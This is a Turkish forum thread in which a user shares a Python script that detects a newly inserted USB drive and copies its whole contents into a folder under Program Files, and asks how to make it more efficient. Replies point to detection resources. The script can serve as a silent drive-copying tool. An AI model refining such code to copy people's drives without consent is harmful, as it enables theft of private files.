Usb kopyalayan program hakkında yardım

Merhaba,
Python kullanarak çalıştığı bilgisayara usb bellek takıldığında anlayıp, belleği kopyalayan bir program yazmak istiyorum.Hali hazırda yazdığım bir program var ancak çok daha verimli çalışan örneklerinin yazılabileceğini düşünüyorum. Bilgim dahilinde ancak bunu yapabildim. Yardımcı olursanız sevinirim.

İlgili kod :

import os
import shutil
import modul

saklanma_dizini = "C:\\Program Files\\fdscan"

while True:
	fdisk = modul.dbul("f")
	if not fdisk == []:
		for i in fdisk:
			shutil.copytree(i+":\\",saklanma_dizini +"\\"+i)
		break

Programda kullanılan modul isimli modül:

import os
def dbul(t):

	alfabe = "ABCDEFGHIJKLNMOPRSTUVYZ"
	sdisk = []

	for i in alfabe:
		try:
			os.chdir(i+":\\")
			sdisk += i
		except:
			continue

	if t.lower() == "f":
		fdisk = []
		for f in sdisk:
			d = 0
			try:
				os.chdir(f+":\\"+"$Recycle.bin")
			except:
				d += 1
			try:
				os.chdir(f+":\\"+"$RECYCLE.BIN")
			except:
				d += 1
				
			if d == 2:
				fdisk += f

		return fdisk

	if t.lower() == "d":
		cikar = dbul("f")
		for z in cikar:
			sdisk.remove(z)
		return sdisk

Kod görünümü hakkında

2 Beğeni

https://forum.yazbel.com/t/linux-da-usb-girisini-algilama/

Bu linux için, win için ise şöyle araştırabilirseniz bir şeyler bulacağınızı düşünüyorum :slight_smile:
Anahtar kavram: How to detect usb in Windows with python

Yeni şeyler bulunca buraya yazarım.

Kolay gelsin :slight_smile:

Bir zaman böyle bir Script yazmıştım.Belki işinize yarar.

Bu da var tabi, ama üstteki daha güzel sonuç veriyor.